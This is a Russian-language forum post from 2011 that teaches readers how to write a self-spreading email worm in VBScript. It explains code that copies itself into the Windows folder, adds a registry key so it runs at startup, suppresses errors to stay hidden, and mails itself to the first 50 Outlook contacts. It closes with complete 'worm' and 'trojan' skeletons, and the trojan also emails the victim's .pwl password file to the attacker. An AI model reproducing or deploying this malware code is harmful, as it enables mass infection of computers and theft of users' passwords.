Логин:
Пароль:
  • Страница 1 из 1
  • 1
Информационный форум IB » Все для вебмастера » Программирование » Как написать почтового червя на VBScript (1)
Как написать почтового червя на VBScript
Dr_WebДата: Среда, 07.09.2011, 12:18 | Сообщение # 1
1
Группа: Пользователи
Сообщений: 105
Награды: 16
Репутация: 228
Замечания: 0%
Статус: Offline
Как написать почтового червя на VBScript
Часть 1.
На идею написания статьи меня натолкнула статья How to write an E-Mail-Worm in
VBScript написанная DaSRo, я даже не стала изменять ее название. Просто постаралась
сделать описание более подробным и разбить пример на составные части, на которых
легче объяснить идею создания почтовый Internet – червей.

Начнем, как всегда с истории.
Самым знаменитым и нашумевшим стал I-Worm.LoveLetter (классификация Kaspersky
Lab.), вызвавший массовое поражение компьютеров и сетей в начале мая 2000 года.
Для своего запуска он использовал "дыру" в системе безопасности MS Windows, которая
позволяла запускаться файлам с расширением .vbs, присоединенных к почтовому
отправлению.
Позже эта "дыра" была заделана, но сама идея написания E-mail worm на Windows
Scripting Host (WSH) пришлась по душе virmaker'ам, тем более что глубоких знаний в
программировании не требовалось. Достаточно было знать основы программирования
на Visual Basic или другом объектно-ориентированном языке.

Теперь немного о самом WSH.
Необходимость в создании нового командного языка возникла при переходе на
платформу Win9x и NT, так как старые .bat файлы уже не могли обеспечить должной
гибкости при автоматизации процессов настройки операционной среды. Был создан
независимый от языка скрипт – хост, который позволял строить аналоги .bat файлов на
VBScript, JScript и других скриптовых языках, например, Active Perl или Python.

Как ни хороши скриптовые языки, много с ними не сотворишь. Они неспособны,
повлиять на что-либо за пределами родного скрипта. Эти языки не имеют прямых
инструкций, позволяющих читать и записывать файлы на диске, выводить
информацию в командную строку, изменять записи в реестре и так далее.

Чтобы справиться с такими задачами, нужно воспользоваться дополнительными COM
– объектами. Ряд таких объектов входит в поставку WSH, а один из них, WScript, даже
уже имеет созданный экземпляр, и им можно пользоваться непосредственно, без
предварительного создания. Остальные создаются с помощью синтаксиса,
соответствующего конкретному языку или функции WScript.CreateObject. Подробнее о
WSH можно найти в нете.

Настало время перейти непосредственно к описанию программного кода. Для
написания примеров будем использовать Visual Basic Scripting Edition, на котором
написано подавляющие большинство Internet – червей. Начнем с инструкций Option
Explicit и On Error Resume Next, первая необходима при отладке кода, она запрещает
использование не объявленной ранее переменной, а вторая подавляет обработчик
ошибок.

Option Explicit
Dim FileSysObject, File
Set FileSysObject = CreateObject ("Scripting.FileSystemObject")
Set File = FileSysObject.GetFile(WScript.ScriptFullName)

В данном примере используются переменные FileSysObject и File, и если при создании
скрипта вы допустите ошибку, написав FileSysObiect, интерпретатор сообщит вам, что
используется необъявленная, в операторе Dim, переменная. Такие ошибки находить
очень трудно, так как они зачастую меняют всю логику работы программы. Перейдем к
инструкции On Error Resume Next, эта инструкция означает, что любая возникшая
ошибка будет обработана программным кодом позднее, а в нашем случае никогда. Это
позволяет запретить выдачу системных сообщений об ошибках и замаскировать работу
скрипта.

Теперь опишем третью и четвертую строки примера:
Set FileSysObject = CreateObject ("Scripting.FileSystemObject")

Присваиваем переменной FileSysObject ссылку на объект COM-компоненты WSH File
System Object. С помощью метода GetFile присвоим переменной File ссылку на
командную строку местоположения исполняемого файла.
Скопируем скрипт в c:windows, для дальнейшего использования.
File.Copy ("c:windowsI_am_virus.vbs")

Присвоим переменной WshShell ссылку на объект COM-компоненты WSH
позволяющую менять настройки системы и запускать приложения.
Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")

Теперь мы смело можем управлять захваченным компьютером.
Сначала пропишем свой "страшный вирус" в реестр, для повторного запуска после
перезагрузки, хотя для E-mail worm это и необязательно, как в прочем и процедура
копирования.
WshShell.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindows _
CurrentVersionRunServicesvirus", "c:windowsI_am_virus.vbs"

Следующий шаг за вашей фантазией, можно скопировать из Internet более сложный
вирус, как делал I-Worm.LoveLetter, и запустить его, отослать вам файл с паролями, или
просто и скучно перепортить кучу файлов.

И, наконец, мы переходим к "сердцу" каждого Internet – червя, процедуре рассылки.
Создаем ссылку на объект самого распространенного почтового клиента Outlook.
Dim OutlookObject, OutMail, Index
Set OutlookObject = CreateObject("Outlook.Application")

Зададим цикл, в ходе которого разошлем зараженные письма по первым 50 адресам,
занесенным в адресную книгу.
For Index = 1 To 50

Создадим новое почтовое сообщение
Set OutMail = OutlookObject.CreateItem(0)

В поле "Кому" занесем адрес из адресной книги
OutMail.to = OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)

В поле "Тема" вставим тему сообщения
OutMail.Subject = "Тема сообщения"

Добавим текст сообщения
OutMail.Body = "Тело сообщения"
Прикрепим скрипт
OutMail.Attachments.Add(WScript.ScriptFullName)

И отправим его
OutMail.Send
Next

Вот вы и стали писателями вирусов. Чувствуете подъем? Опуститесь на землю, это
только каркас, заполнить его, ваша задача. Удачи!

Каркас E-mail worm:
On Error Resume Next
Dim FileSysObject, File
Set FileSysObject = CreateObject ("Scripting.FileSystemObject")
Set File = FileSysObject.GetFile(WScript.ScriptFullName)
Dim OutlookObject, OutMail, Index
Set OutlookObject = CreateObject("Outlook.Application")
For Index = 1 To 50
Set OutMail = OutlookObject.CreateItem(0)
OutMail.to =
OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)
OutMail.Subject = "Тема сообщения"
OutMail.Body = "Тело сообщения"
OutMail.Attachments.Add(WScript.ScriptFullName)
OutMail.Send
Next

Каркас "троянского коня":
On Error Resume Next
Dim FileSysObject, File
Set FileSysObject = CreateObject ("Scripting.FileSystemObject")
Set File = FileSysObject.GetFile(WScript.ScriptFullName)
File.Copy ("c:windowsI_am_virus.vbs")
Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite
" HKEY_LOCAL_MACHINESoftwareMicrosoftWindows _
CurrentVersionRunServicesvirus", "c:windowsI_am_virus.vbs"
Dim OutlookObject, OutMail, Index
Set OutlookObject = CreateObject("Outlook.Application")
For Index = 1 To 50
Set OutMail = OutlookObject.CreateItem(0)
OutMail.to =
OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)
OutMail.Subject = "Тема сообщения"
OutMail.Body = "Тело сообщения"
OutMail.Attachments.Add(WScript.ScriptFullName)
OutMail.Send
Next
Set OutMail = OutlookObject.CreateItem(0)
OutMail.to = "Ваш E-mail"
OutMail.Subject = "Тема сообщения"
OutMail.Body = "Тело сообщения"
OutMail.Attachments.Add("Путь к .pwl файлу")
OutMail.Send


моя новая почта dr.web597278899@mail.ru и моя новая ася 636311100
 
Информационный форум IB » Все для вебмастера » Программирование » Как написать почтового червя на VBScript (1)
  • Страница 1 из 1
  • 1
Поиск:
Дизайн принадлежит forum-vk.do.am
Sitemap | Sitemap-forum |